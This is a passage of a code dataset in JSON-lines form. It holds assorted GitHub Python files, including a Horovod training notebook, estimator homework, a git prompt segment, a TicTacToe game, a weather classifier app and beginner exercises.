cfg.learning_rate)\n mlflow.log_param(\"batch_size\", cfg.batch_size)\n mlflow.log_param(\"hvd_np\", hvd_np)\n\n # Log MLflow Metrics\n mlflow.log_metric(\"train loss\", history.history[\"loss\"][-1])\n\n # Log Model\n mlflow.keras.log_model(model, \"model\")\n\n# COMMAND ----------\n\n# MAGIC %md Test it out on just the driver (negative sign indicates running on the driver).\n\n# COMMAND ----------\n\nfrom sparkdl import HorovodRunner\n\nwith mlflow.start_run() as run: \n # Get active run_uuid\n active_run_id = mlflow.active_run().info.run_id\n hvd_np = -1\n hr = HorovodRunner(np=hvd_np, driver_log_verbosity=\"all\")\n hr.run(run_training_horovod)\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC ## Run on all workers\n\n# COMMAND ----------\n\n## OPTIONAL: You can enable Horovod Timeline as follows, but can incur slow down from frequent writes, and have to export out of Databricks to upload to chrome://tracing\n# import os\n# os.environ[\"HOROVOD_TIMELINE\"] = f\"{DA.paths.working_dir}/_timeline.json\"\n\nwith mlflow.start_run() as run: \n \n # Get active run_uuid\n active_run_id = mlflow.active_run().info.run_id\n hvd_np = spark.sparkContext.defaultParallelism\n hr = HorovodRunner(np=hvd_np, driver_log_verbosity=\"all\")\n hr.run(run_training_horovod)\n\n# COMMAND ----------\n\n# MAGIC %md \n# MAGIC \n# MAGIC ## Loading Model and Evaluation\n# MAGIC \n# MAGIC Since we included the Normalization layer inside the model, we can now use this model in production without having to worry about normalization again. \n\n# COMMAND ----------\n\nfrom tensorflow.keras.models import load_model\n\ntrained_model = load_model(checkpoint_dir.replace(\"dbfs:/\", \"/dbfs/\"))\nprint(trained_model.summary())\n\ntrained_model.evaluate(X_test, y_test)\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC Load model from MLflow run\n\n# COMMAND ----------\n\nfrom sklearn.metrics import mean_squared_error\n\nmodel_uri = f\"runs:/{run.info.run_id}/model\"\nmlflow_model = mlflow.pyfunc.load_model(model_uri)\ny_pred = mlflow_model.predict(X_test)\nmean_squared_error(y_test, y_pred)\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC ## Leveraging Spark for scalable inference using MLflow's Spark UDF\n\n# COMMAND ----------\n\npredict = mlflow.pyfunc.spark_udf(spark, model_uri)\ndisplay(test_df.withColumn(\"prediction\", predict(*feature_cols)))\n\n# COMMAND ----------\n\n# MAGIC %md Let's delete the cached files\n\n# COMMAND ----------\n\nconverter_train.delete()\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC \n# MAGIC ## Classroom Cleanup\n# MAGIC \n# MAGIC Run the following cell to remove lessons-specific assets created during this lesson:\n\n# COMMAND ----------\n\nDA.cleanup()\n\n# COMMAND ----------\n\n# MAGIC %md-sandbox\n# MAGIC © 2022 Databricks, Inc. All rights reserved.
    \n# MAGIC Apache, Apache Spark, Spark and the Spark logo are trademarks of the Apache Software Foundation.
    \n# MAGIC
    \n# MAGIC Privacy Policy | Terms of Use | Support\n","repo_name":"MinusOneByTwelve/MiscStuff","sub_path":"DB/Temp/ml/deep-learning-with-databricks/Solutions/DL 07b - Horovod for Distributed Training.py","file_name":"DL 07b - Horovod for Distributed Training.py","file_ext":"py","file_size_in_byte":15839,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"7"} +{"seq_id":"72943766622","text":"# STAT 391 HW2\n# Chongyi Xu, 1531273\n# This file is the Python script for hw2 Problem 2\n\nimport math\n\n# Helper Methods\ndef langReader(file):\n '''\n langReader is used to read in files and compute for the probability\n for each letter\n\n Args:\n file: The name of the file containing the letter and probability.\n Returns:\n A dictionary containing letters as keys and probability as values\n '''\n pLang = {}\n for line in open(file):\n el = line.split(' ')\n letter = el[1].lower()\n pLang[letter] = float(el[2])/1000\n return pLang\n\ndef LetterCounter(testString):\n '''\n Counts for the number of each letter in the test string (sufficient statistics)\n\n Args:\n testString: The string to count\n Returns:\n A dictionary containing letters as keys and count number as values\n '''\n counter = {}\n for char in testString:\n try:\n counter[char] = counter[char] + 1\n except KeyError:\n counter[char] = 1\n return counter\n\n# Initialize the probability map\npath = r'C:\\Users\\johnn\\Documents\\UW\\SchoolWorks\\2018Spring\\STAT391\\HW2'\nenglish = langReader(path + r'\\english.dat')\n\n# Read in mlk-letter-estimation.txt\ntxt = ''\nfor line in open(path + r'\\hw2-mlk-letter-estimation.txt'):\n txt = txt + line\ntxt = ''.join(e for e in txt if e.isalnum()).lower()\ncounter = LetterCounter(txt)\nfor letter in english: # Update missing letters\n if letter not in counter:\n counter[letter] = 0\nlength = len(txt)\n\nfor k in counter:\n if k <= 'j':\n print('n'+k+'='+str(counter[k]))\n\nsk = {}\nfor letter in counter:\n if counter[letter] not in sk:\n sk[counter[letter]] = [letter]\n else:\n sk[counter[letter]].append(letter)\nprint('\\n')\nrk = {}\nfor k in sk:\n rk[k] = len(sk[k])\n print('r'+str(k)+'='+str(rk[k]))\n\nprint('ML Estimation:')\nML = {}\nfor k in sk:\n letter = sk[k]\n for i in letter:\n ML[i] = k / length\n if letter.index(i) == 0:\n print('theta_'+i+'='+str(ML[i]))\n else:\n print('theta_'+i+'='+'theta_'+letter[0])\n\nprint('Laplace Estimation:')\nlap = {}\nm = 26\nfor k in sk:\n letter = sk[k]\n for i in letter:\n lap[i] = (k + 1) / (length + m)\n if letter.index(i) == 0:\n print('theta_'+i+'='+str(lap[i]))\n else:\n print('theta_'+i+'='+'theta_'+letter[0])\n\nr = sum(len(sk[k]) for k in sk if k!=0)\nprint('Witten-Bell Estimation:')\nwb = {}\nfor k in sk:\n letter = sk[k]\n for i in letter:\n if k != 0:\n wb[i] = k / (length + r)\n else:\n wb[i] = 1 / (m - r) * r / (length + r)\n if letter.index(i) == 0:\n print('theta_'+i+'='+str(wb[i]))\n else:\n print('theta_'+i+'='+'theta_'+letter[0])\n\nprint('Good-Turing Estimation:')\ngt = {}\nfor k in sk:\n letter = sk[k]\n for i in letter:\n try: \n gt[i] = ((k + 1) * rk[k+1] / rk[k]) / length\n except KeyError:\n gt[i] = 0\n if letter.index(i) == 0:\n print('theta_'+i+'='+str(gt[i]))\n else:\n print('theta_'+i+'='+'theta_'+letter[0])\n\nprint('\\nNey-Essen Estimation:')\nD = 0\ndelta = 1\nfor letter in counter:\n D = D + min(counter[letter], delta)\nne = {}\nfor k in sk:\n letter = sk[k]\n for i in letter:\n ne[i] = (k - min(k, delta) + D / m) / length\n if letter.index(i) == 0:\n print('theta_'+i+'='+str(ne[i]))\n else:\n print('theta_'+i+'='+'theta_'+letter[0])\n\n# from decimal import Decimal\n# # Helper Methods\n# def computeP(counter, probMap):\n# '''\n# Compute for the probability of with given letter counter and language probability map\n\n# Args:\n# counter: The letter counter of the test string.\n# probMap: The probability map of the test language.\n# Returns:\n# A integer telling P(sentence)\n# '''\n# p = 1\n# for letter in counter:\n# try:\n# p = p * Decimal(probMap[letter]**counter[letter])\n# except KeyError:\n# print(\"The letter \", letter, \" is not in this language\")\n# return p\n\n# def MaxLogLikelihood(fileName, langDict):\n# '''\n# Find the maximum log-likelihood according to the fileName and output the guess.\n\n# Args:\n# fileName: The file name with txt to test\n# langDict: The dictionary for all languages.\n# Output:\n# The log-likehood for each language and the best guess.\n# '''\n# print(\"\\nConsidering the file: \", fileName)\n# # Remove spaces and punctuation\n# txt = ''\n# for line in open(path + fileName):\n# txt = txt + line\n# testStr = ''.join(e for e in txt if e.isalnum()).lower()\n# counter = LetterCounter(testStr)\n# best = [-float('inf'), '']\n# for lang in langDict:\n# p = computeP(counter, langDict[lang])\n# ll = p.ln() / Decimal(math.log(2))\n# print(\"The log-likelihood for \", lang, \" is \", ll)\n# if best[0] < ll:\n# best = [ll, lang]\n# print(\"And as the result, the best guess is \", best[1], \" with likelihood \", best[0], \"\\n\")\n\n# langDict = {'ML Estimation':ML,\\\n# 'Laplace Estimation':lap,\\\n# 'Witten-Bell Estimation':wb,\\\n# 'Smoothed Good-Turning Estimation':gt,\\\n# 'Ney-Essen Estimation':ne}\n\n# MaxLogLikelihood(r'\\hw2-mlk-letter-estimation.txt', langDict)\n# MaxLogLikelihood(r'\\hw2-test-letter-estimation-large.txt', langDict)","repo_name":"johnnyxcy/SchoolWorks","sub_path":"2018Spring/STAT391/HW2/hw2p2.py","file_name":"hw2p2.py","file_ext":"py","file_size_in_byte":5479,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"7"} +{"seq_id":"42229835638","text":"import re\nimport subprocess\nimport signal\n\nclass Alarm(Exception):\n pass\n\ndef alrmHandler(signum, frame):\n raise Alarm\n\ndef get_git_status():\n has_pending_commits = False\n has_untracked_files = False\n origin_position = \"\"\n failed = False\n\n # Set the signal handler and a 5-second alarm\n signal.signal(signal.SIGALRM, alrmHandler)\n signal.alarm(3)\n\n try:\n p = subprocess.Popen(['git', 'status', '--ignore-submodules', '--porcelain', '-b'], stdout=subprocess.PIPE)\n output = p.communicate()[0]\n signal.alarm(0)\n except Alarm:\n p.kill()\n return False, False, \"\", True\n\n lines = output.split('\\n')\n\n # check for behind/ahead commit\n for origin_status in re.findall(r\"(ahead|behind) (\\d+)\", lines[0]):\n origin_position += \" %d\" %int(origin_status[1])\n if origin_status[0] == 'behind':\n origin_position += u'\\u21E3'\n if origin_status[0] == 'ahead':\n origin_position += u'\\u21E1'\n\n # check for pending changes and/or untracked files\n if len(lines) > 0:\n for line in lines[1:-1]:\n if line[0] == '?':\n has_untracked_files = True\n else:\n has_pending_commits = True\n\n return has_pending_commits, has_untracked_files, origin_position, failed\n\ndef add_git_segment():\n #cmd = \"git branch 2> /dev/null | grep -e '\\\\*'\"\n p1 = subprocess.Popen(['git', 'branch', '--no-color'], stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n p2 = subprocess.Popen(['grep', '-e', '\\\\*'], stdin=p1.stdout, stdout=subprocess.PIPE)\n output = p2.communicate()[0].strip()\n if not output:\n return\n\n branch = output.rstrip()[2:]\n branch = u'\\uE0A0 '+branch\n\n bg = Color.REPO_CLEAN_BG\n fg = Color.REPO_CLEAN_FG\n\n has_pending_commits, has_untracked_files, origin_position, failed = get_git_status()\n branch += origin_position\n if has_untracked_files:\n branch += ' +'\n if has_pending_commits:\n bg = Color.REPO_DIRTY_BG\n fg = Color.REPO_DIRTY_FG\n if failed:\n bg = Color.REPO_FAIL_BG\n fg = Color.REPO_FAIL_FG\n\n\n powerline.append(' %s ' % branch, fg, bg)\n\ntry:\n add_git_segment()\nexcept OSError:\n pass\nexcept subprocess.CalledProcessError:\n pass\n","repo_name":"dart200/powerline-shell","sub_path":"segments/git.py","file_name":"git.py","file_ext":"py","file_size_in_byte":2283,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"18619498567","text":"#!/usr/bin/python\nimport urllib, json, re\n\ndef encode(s):\n try:\n return unicode(s, 'utf-8')\n except:\n try: \n return s.encode('utf-8')\n except:\n return s.decode('cp1250')\n\ntrigger = \"!calc\"\n\ndef func(line):\n #line = line.split()\n #line = \" \".join(line[1::])\n line = encode(line)\n\n try:\n query = urllib.urlencode({'q': line})\n url = 'http://www.google.com/ig/calculator?%s' %query\n search_response = urllib.urlopen(url)\n search_results = search_response.read()\n j = search_results\n j = encode(urllib.unquote(j))\n \n j = re.sub(r\"{\\s*(\\w)\", r'{\"\\1', j)\n j = re.sub(r\",\\s*(\\w)\", r',\"\\1', j)\n j = re.sub(r\"(\\w):\", r'\\1\":', j)\n\t\t\n results = json.loads(j)\n return encode(results['lhs'] + \" = \" + results['rhs'])\n except:\n return \"\"","repo_name":"onecoding1/raspibot","sub_path":"modules/calc.py","file_name":"calc.py","file_ext":"py","file_size_in_byte":878,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"44252513945","text":"import sys\r\n#sys.stdin = open('input.txt','rt')\r\n\r\ncards = list(range(1,21))\r\n\r\nfor _ in range(10):\r\n left,right = map(int,input().split())\r\n while True:\r\n if left >= right:\r\n break\r\n else:\r\n cards[left-1],cards[right-1] = cards[right-1],cards[left-1]\r\n left += 1\r\n right -= 1\r\n\r\nfor c in cards:\r\n print(c, end = ' ')\r\n ","repo_name":"sangmanjung/Algorithm_study","sub_path":"basic/S3_search_N_simulation/sec3-3.py","file_name":"sec3-3.py","file_ext":"py","file_size_in_byte":390,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"7"} +{"seq_id":"15779568670","text":"\"\"\"Comparación\"\"\"\n\n\"\"\"\nConstruir una expresión lógica que use TODAS las variables y cuyo resultado sea\nTrue si 2 personas tienen el mismo nombre pero distinta edad.\nAclaración: Se puede utilizar and, or y not.\n\"\"\"\n\npersona_01 = \"Kevin\"\nedad_01 = 24\npersona_02 = \"Kevin\"\nedad_02 = 41\n\n# COMPLETAR - INICIO\n\n# COMPLETAR - FIN\n\nassert comparar_nombre_y_edad\n\n\n\"\"\"\nConstruir una expresión lógica que use TODAS las variables y cuyo resultado sea\nTrue si un auto no es de marca Ford y su modelo es igual o anterior al año 2000.\nAclaración: Se puede utilizar and, or y not.\n\"\"\"\n\nmarca_del_auto = \"Chevrolet\"\nmodelo_de_auto = 1998\n\n# COMPLETAR - INICIO\n\n# COMPLETAR - FIN\n\nassert comparar_marca_y_modelo\n\n\n\"\"\"\nConstruir una expresión lógica que use TODAS las variables y cuyo resultado sea\nTrue si la superfice del campo 1 es menor a la del campo 2 y la superficie del\ncampo 2 es mayor a la del campo 3.\nRestricción: Utilizar comparaciones encadenadas - No utilizar and, or ni not.\n\"\"\"\n\nsuperficie_de_campo_01 = 85121\nsuperficie_de_campo_02 = 851212\nsuperficie_de_campo_03 = 8512\n\n# COMPLETAR - INICIO\n\n# COMPLETAR - FIN\n\nassert comparar_superficie\n\n\n\"\"\"\nConstruir una expresión lógica que use TODAS las variables y cuyo resultado sea\nTrue si la cantidad de bananas es menor a la mitad de la cantidad de naranjas,\nla mitad de naranjas es menor a dos veces la cantidad de manzanas y dos veces\nla cantidad de manzanas es menor o igual a la cantidad de peras al cuadrado.\nRestricción: Utilizar comparaciones encadenadas y no utilizar and, or ni not.\n\"\"\"\n\nbananas = 100\nnaranjas = 400\nmanzanas = 300\nperas = 30\n\n# COMPLETAR - INICIO\n\n# COMPLETAR - FIN\n\nassert comparar_frutas","repo_name":"ELC/python-practice1","sub_path":"exercises/exercise3.py","file_name":"exercise3.py","file_ext":"py","file_size_in_byte":1677,"program_lang":"python","lang":"es","doc_type":"code","stars":6,"dataset":"github-code","pt":"7"} +{"seq_id":"11070764016","text":"from eval import evaluate\n\nimport torch\nimport numpy as np\ntorch.manual_seed(777)\n\ndevice = torch.device('cuda:0' if torch.cuda.is_available() else 'cpu')\n\n\n\ndef train(model, iterator, optimizer, criterion, train_loader, test_loader=None):\n model = model.train()\n match_score = 0\n\n for epoch in range(iterator):\n average_loss = []\n for k, batch in enumerate(train_loader):\n memory_batch=batch.story\n query_batch=batch.query\n answer_batch=batch.answer\n\n memory_tensor = torch.LongTensor(memory_batch).to(device)\n query_tensor = torch.LongTensor(query_batch).to(device)\n optimizer.zero_grad()\n outputs = model.forward(memory=memory_tensor, query=query_tensor)\n\n loss = criterion(outputs.view(-1,outputs.size(-1)), answer_batch.view(-1))\n\n average_loss.append(loss.item())\n\n loss.backward()\n optimizer.step()\n\n if ((k + 1) % 2 == 0):\n print(\"Epoch: {:d} batch step: [{:d}/{:d}] Loss: {:.4f}\".format(epoch + 1, k + 1, len(train_loader),\n np.mean(average_loss)))\n print(\"\\nEpoch: {:d} Average Loss: {:.4f} +- {:.4f}\\n\".format(epoch + 1, np.mean(average_loss),\n np.std(average_loss)))\n if test_loader:\n match_score = evaluate(test_loader=test_loader, criterion=criterion, model=model, device=device,\n match_score=match_score)\n","repo_name":"Jimin9401/nlp_tasks","sub_path":"QA/end_2_end_memory_network/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":1599,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"7"} +{"seq_id":"35568731205","text":"'''\nhttps://www.codewars.com/kata/5765870e190b1472ec0022a2/\n'''\nfrom collections import deque\n\n\ndef path_finder(maze):\n check_maze = [[ch for ch in row] for row in maze.split(\"\\n\")]\n mv_cand = deque([(0, 0)])\n maze_size = len(check_maze[0]) - 1\n target_pos = (maze_size, maze_size)\n flag = False\n \n while mv_cand:\n cur = mv_cand.pop()\n if cur == target_pos:\n flag = True\n break\n \n if check_maze[cur[0]][cur[1]] == \"W\":\n continue\n \n # West\n if cur[1] - 1 >= 0 and check_maze[cur[0]][cur[1] - 1] != \"W\":\n mv_cand.appendleft((cur[0], cur[1] - 1))\n # East\n if cur[1] + 1 <= maze_size and check_maze[cur[0]][cur[1] + 1] != \"W\":\n mv_cand.appendleft((cur[0], cur[1] + 1))\n # North\n if cur[0] - 1 >= 0 and check_maze[cur[0] - 1][cur[1]] != \"W\":\n mv_cand.appendleft((cur[0] - 1, cur[1]))\n # South\n if cur[0] + 1 <= maze_size and check_maze[cur[0] + 1][cur[1]] != \"W\":\n mv_cand.appendleft((cur[0] + 1, cur[1])) \n \n \n check_maze[cur[0]][cur[1]] = \"W\"\n \n return flag\n\n\nif __name__ == \"__main__\":\n a = \"\\n\".join([\n \".W...\",\n \".W...\",\n \".W.W.\",\n \"...W.\",\n \"...W.\"])\n print(path_finder(a), True)\n \n a = \"\\n\".join([\n \".W...\",\n \".W...\",\n \".W.W.\",\n \"...WW\",\n \"...W.\"])\n print(path_finder(a), False)\n \n a = \"\\n\".join([\n \"..W\",\n \".W.\",\n \"W..\"])\n print(path_finder(a), False)\n \n a = \"\\n\".join([\n \".WWWW\",\n \".W...\",\n \".W.W.\",\n \".W.W.\",\n \"...W.\"])\n print(path_finder(a), True)\n \n a = \"\\n\".join([\n \".W...\",\n \"W....\",\n \".....\",\n \".....\",\n \".....\"])\n print(path_finder(a), False)\n \n a = \"\\n\".join([\n \".W\",\n \"W.\"])\n print(path_finder(a), False)","repo_name":"SH-Lee0916/CodeWars_solutions_python","sub_path":"4kyu/path_finder_#1:_can_you_reach_the_exit?.py","file_name":"path_finder_#1:_can_you_reach_the_exit?.py","file_ext":"py","file_size_in_byte":1973,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"34111184352","text":"#!/usr/bin/env python\n# coding: utf-8\nimport scipy\nimport os\nfrom PIL import Image\nimport streamlit as st\nimport pandas as pd\nfrom st_on_hover_tabs import on_hover_tabs\nimport torch\nimport torch.nn as nn\nfrom torchvision import datasets, models, transforms\n#from pydrive.auth import GoogleAuth\n#from pydrive.drive import GoogleDrive\n\n#gauth = GoogleAuth()\n#drive = GoogleDrive(gauth)\n\ndictuar = {0:'Ясно' ,1:'Облачно' ,2:'Туман' ,3:'Мороз' ,4:'Град' ,5:'Молния',6: 'Нет погоды' , 7:'Дождь', 8:'Радуга',\n 9:'Снег', 10:'Восход'}\n\nst.set_page_config(layout=\"wide\")\nst.header(\"Программа для классификации погодных условий \")\nst.markdown('', unsafe_allow_html=True)\ndevice = torch.device(\"cpu\")\nmodel = models.efficientnet_b4()\nnum_ftrs = model.classifier[1].in_features\nmodel.fc = nn.Linear(num_ftrs, 11)\nmodel = model.to(device)\nmodel.load_state_dict(torch.load('weights-no_weather_class-efinetb4-bestloss.pth',map_location ='cpu'))\n\n\nuploaded_file = st.file_uploader('Загрузите картинку погоды, которую попробует распознать нейросеть!')\nif uploaded_file is not None:\n\n bytes_data = uploaded_file.getvalue()\n \n image = Image.open(uploaded_file).convert('RGB')\n image_copy = image.copy()\n transform = transforms.Compose([\n transforms.Resize((128 , 128)),\n transforms.ToTensor(),\n transforms.Normalize([0.485, 0.456, 0.406], [0.229, 0.224, 0.225])\n ])\n image = transform(image)\n \n model.eval()\n preds = model(image.unsqueeze(0))\n #st.write(preds.argmax())\n if st.button('Показать результат'):\n st.write(dictuar[int(preds.argmax())])\n #a = preds.max()\n #preds[preds == a] = 0\n #st.write(preds.argmax())\n #if preds[preds >=0.9].any():\n #st.write(dictuar[int(preds.argmax())])\n\n\n\n\n with st.sidebar:\n tabs = on_hover_tabs(tabName=['Предсказание', 'Картинка', 'Все вместе'], \n iconName=['dashboard', 'money', 'economy'],\n styles = {'navtab': {'background-color':'#111',\n 'color': '#818181',\n 'font-size': '18px',\n 'transition': '.3s',\n 'white-space': 'nowrap',\n 'text-transform': 'uppercase'},\n 'iconStyle':{'position':'fixed',\n 'left':'7.5px',\n 'text-align': 'left'},\n 'tabStyle' : {'list-style-type': 'none',\n 'margin-bottom': '30px',\n 'padding-left': '30px'}},\n key=\"1\")\n \n\n if tabs =='Предсказание':\n st.header(dictuar[int(preds.argmax())])\n if tabs =='Картинка':\n st.image(image_copy)\n if tabs == 'Все вместе':\n st.header(dictuar[int(preds.argmax())]) \n st.image(image_copy)\n\n\n if st.checkbox('Нажать если прогноз ложный'):\n options = st.multiselect(\n 'Какая погода изображена на картинке?',\n ['Ясно', 'Облачно', 'Туман', 'Мороз', 'Град', 'Молния', 'Нет погоды', 'Дождь', 'Радуга',\n 'Снег', 'Восход'], max_selections = 2)\n if st.button('Подтвердить'):\n # if 'Ясно' in options:\n # image_copy.save(os.getcwd() + r\"/img.jpg\")\n # gfile = drive.CreateFile({'parents': [{'id': '12CMiObhILGSVWFIg2hBp9zOBvwM8y3hX'}]})\n # gfile.SetContentFile(os.getcwd() + r\"/img.jpg\")\n # gfile.Upload()\n # upload_file_list = ['1.jpg', '2.jpg']\n # for upload_file in upload_file_list:\n # gfile = drive.CreateFile({'parents': [{'id': '1pzschX3uMbxU0lB5WZ6IlEEeAUE8MZ-t'}]})\n # # Read file and set it as the content of this instance.\n # gfile.SetContentFile(upload_file)\n # gfile.Upload() # Upload the file.\n st.success('Спасибо за обратную связь! Мы постараемся добавить вашу картинку в базу данных'\n ' и улучшить качество нашей нейросети!', icon=\"✅\")\n","repo_name":"Neas1231/Weather_report-download","sub_path":"weather.py","file_name":"weather.py","file_ext":"py","file_size_in_byte":4891,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"73348194784","text":"import numpy as np\nimport sys,os\n\n\nclass TicTacToe:\n def __init__(self, printMesseges = False):\n\n self.printMesseges = printMesseges\n self.board = np.zeros(9)\n self.playerToMove = 0\n self.playerOne = []\n self.playerTwo = []\n\n self.playerMoves = {0:self.playerOne,1:self.playerTwo}\n\n\n def isMovesIsLegal(self,move):\n\n try:\n if self.board[int(move)] != 0:\n if self.printMesseges:\n print(\"There is another player there!\")\n return False\n else:\n return True\n except ValueError:\n if self.printMesseges:\n print(\"Move did not make sense!\")\n return False\n except IndexError:\n if self.printMesseges:\n print(\"Move not inside the board!\")\n return False\n\n def updateBoard(self):\n\n self.board = np.zeros(9)\n for key in self.playerMoves:\n for moves in self.playerMoves[key]:\n if moves != None:\n self.board[moves] = key + 1\n\n\n def makeMove(self,move,checkWinner = False):\n\n try:\n if len(self.playerMoves[self.playerToMove]) > 2:\n self.playerMoves[self.playerToMove].pop(0)\n except:\n pass\n\n if not self.isMovesIsLegal(move):\n return\n\n self.playerMoves[self.playerToMove].append(int(move))\n\n self.playerToMove = (self.playerToMove + 1)%2\n\n self.updateBoard()\n\n if checkWinner:\n self.checkWinner()\n\n def checkWinner(self):\n board = np.reshape(self.board.copy(),(3,3))\n\n if board[0][0] != 0:\n if (board[0][0] == board[1][0] and board[0][0] == board[2][0]):\n return(board[0][0])\n if (board[0][0] == board[0][1] and board[0][0] == board[0][2]):\n return(board[0][0])\n if (board[0][0] == board[1][1] and board[0][0] == board[2][2]):\n return(board[0][0])\n\n if board[1][1] != 0:\n if (board[1][1] == board[1][0] and board[1][1] == board[1][2]):\n return(board[1][1])\n if (board[1][1] == board[0][1] and board[1][1] == board[2][1]):\n return(board[1][1])\n if (board[1][1] == board[0][2] and board[1][1] == board[2][0]):\n return(board[1][1])\n\n if board[2][2] != 0:\n if (board[2][2] == board[1][2] and board[2][2] == board[0][2]):\n return(board[2][2])\n if (board[2][2] == board[2][1] and board[2][2] == board[2][0]):\n return(board[2][2])\n\n return 0\n \n def getLastPlay(self):\n return self.playerMoves[self.playerMoves][0]\n\n\n def drawBoard(self, clearScreen = False):\n if clearScreen:\n os.system(\"cls\")\n\n\n squareBoard = np.reshape(self.board.copy(),(3,3))\n print(squareBoard)\n\n def getBoard(self,square=False):\n if square:\n return np.reshape(self.board.copy(),(3,3))\n else:\n return self.board\n\n\nif __name__ == \"__main__\":\n game = TicTacToe()\n while True:\n move = input(\"Make move\")\n if move == \"q\":\n break\n game.makeMove(move)\n game.drawBoard()\n winner = game.checkWinner()\n if winner:\n print(\"Player %s won\" %(int(winner)))\n break\n","repo_name":"dulte/Div","sub_path":"TicTacToe/TicTacToe.py","file_name":"TicTacToe.py","file_ext":"py","file_size_in_byte":3414,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"18773920709","text":"import numpy\nimport matplotlib.pyplot as pyplot\nimport pandas\n\nfrom plot_utils import colorbar, get_autocorrelation\nfrom pathlib import Path\n\nlabel_size = 13\ntick_size = 12\n\nseed = str(0)\nnum_runs = 10000\nest_list = ['OLS']\norder_list = [3, 5, 7]\nnum_samples_train = 100\nomega = 1\n\nimg_prefix = '../img/uai/all_orders/'\ndata_suffix = '_' + str(num_runs) + '_' + str(num_samples_train) + '_' + str(omega) + '_' + str(seed) + '.csv'\nPath(img_prefix).mkdir(parents=True, exist_ok=True)\n\nimg_suffix = '_' + str(num_runs) + '_' + str(num_samples_train) + '_' + str(omega) + '_' + str(seed) + '_all.png'\nfig, ax = pyplot.subplots(len(est_list), len(order_list), figsize=(4*len(order_list) + 2, 3.2*len(est_list)),\n sharey=True, sharex=True)\nif len(est_list) < 2:\n ax = numpy.expand_dims(ax, axis=0)\nif len(order_list) < 2:\n ax = numpy.expand_dims(ax, axis=1)\n\nfor i, est in enumerate(est_list):\n for j, order in enumerate(order_list):\n axi = ax[i, j]\n if order == 'misspec':\n data_prefix = '../data/uai/misspec/'\n else:\n data_prefix = '../data/uai/order{}/'.format(order)\n\n params = pandas.read_csv(data_prefix + 'params' + data_suffix)\n caus_err_lambda_stat = pandas.read_csv(data_prefix + 'error_causal_lambda_stat' + data_suffix)\n stat_err_lambda_stat = pandas.read_csv(data_prefix + 'error_stat_lambda_stat' + data_suffix)\n\n #autocorr = get_autocorrelation(params, order, data_prefix, data_suffix)\n\n # Plot showing the scatter plot of statistical and causal error. The colour indicates the condition num kappa\n # ------------------\n # Prepare axis labels\n axi.set_ylabel(est + r': Causal Error $\\mathcal{G}$', size=label_size)\n axi.set_xlabel(r'Statistical Error $\\mathcal{S}$', size=label_size)\n axi.set_yscale('log')\n axi.set_xscale('log')\n\n # Actual plot\n m = numpy.max([numpy.max(stat_err_lambda_stat[est]), numpy.max(caus_err_lambda_stat[est])])\n axi.plot([0, m], [0, m], c='black')\n cmap = axi.scatter(stat_err_lambda_stat[est], caus_err_lambda_stat[est],\n #c=autocorr,\n alpha=.5)\n\n#colorbar(cmap, label=r'Condition Number $\\kappa$')\nfig.tight_layout()\n\n# Save and show\npyplot.savefig(img_prefix + 'error_stat_vs_causal' + img_suffix, bbox_inches='tight')\npyplot.show()\npyplot.close()\n","repo_name":"amazon-science/causal-forecasting","sub_path":"simulation_experiments/error_stat_vs_causal.py","file_name":"error_stat_vs_causal.py","file_ext":"py","file_size_in_byte":2423,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"7"} +{"seq_id":"42776992543","text":"#Question1\nx = [ [5,2,3], [10,8,9] ] \nstudents = [\n {'first_name': 'Michael', 'last_name' : 'Jordan'},\n {'first_name' : 'John', 'last_name' : 'Rosales'}\n]\nsports_directory = {\n 'basketball' : ['Kobe', 'Jordan', 'James', 'Curry'],\n 'soccer' : ['Messi', 'Ronaldo', 'Rooney']\n}\nz = [ {'x': 10, 'y': 20} ]\n\n#1\nx[1][0] = 15\nprint(x)\n\n#2\nstudents[0]['last_name'] = 'Bryant'\nprint(students[0])\n\n#3\nsports_directory['soccer'][0] = 'Andres'\nprint(sports_directory)\n\n#4\nz[0]['y'] = 30\nprint(z)\n\n#Question2\ndef iterateDictionary(some_list):\n for x in some_list:\n for key,value in x.items():\n print(key,value)\n\nstudents = [\n {'first_name': 'Michael', 'last_name' : 'Jordan'},\n {'first_name' : 'John', 'last_name' : 'Rosales'},\n {'first_name' : 'Mark', 'last_name' : 'Guillen'},\n {'first_name' : 'KB', 'last_name' : 'Tonel'}\n ]\niterateDictionary(students)\n\n#Question3\ndef iterateDictionary2(key_name, some_list):\n for x in some_list:\n print(x[key_name])\n\n\nstudents = [\n {'first_name': 'Michael', 'last_name' : 'Jordan'},\n {'first_name' : 'John', 'last_name' : 'Rosales'},\n {'first_name' : 'Mark', 'last_name' : 'Guillen'},\n {'first_name' : 'KB', 'last_name' : 'Tonel'}\n ]\n\niterateDictionary2('last_name', students)\n\n#Question4\ndef printInfo(some_dict):\n for key, val in some_dict.items():\n \n print(len(val), key)\n for x in val:\n print(x)\n\ndojo = {\n 'locations': ['San Jose', 'Seattle', 'Dallas', 'Chicago', 'Tulsa', 'DC', 'Burbank'],\n 'instructors': ['Michael', 'Amy', 'Eduardo', 'Josh', 'Graham', 'Patrick', 'Minh', 'Devon']\n}\nprintInfo(dojo)\n\n\n","repo_name":"mutasemsiam/python_stack","sub_path":"python_stack/python/python_fundamentals/functions_intermediate2.py","file_name":"functions_intermediate2.py","file_ext":"py","file_size_in_byte":1690,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} 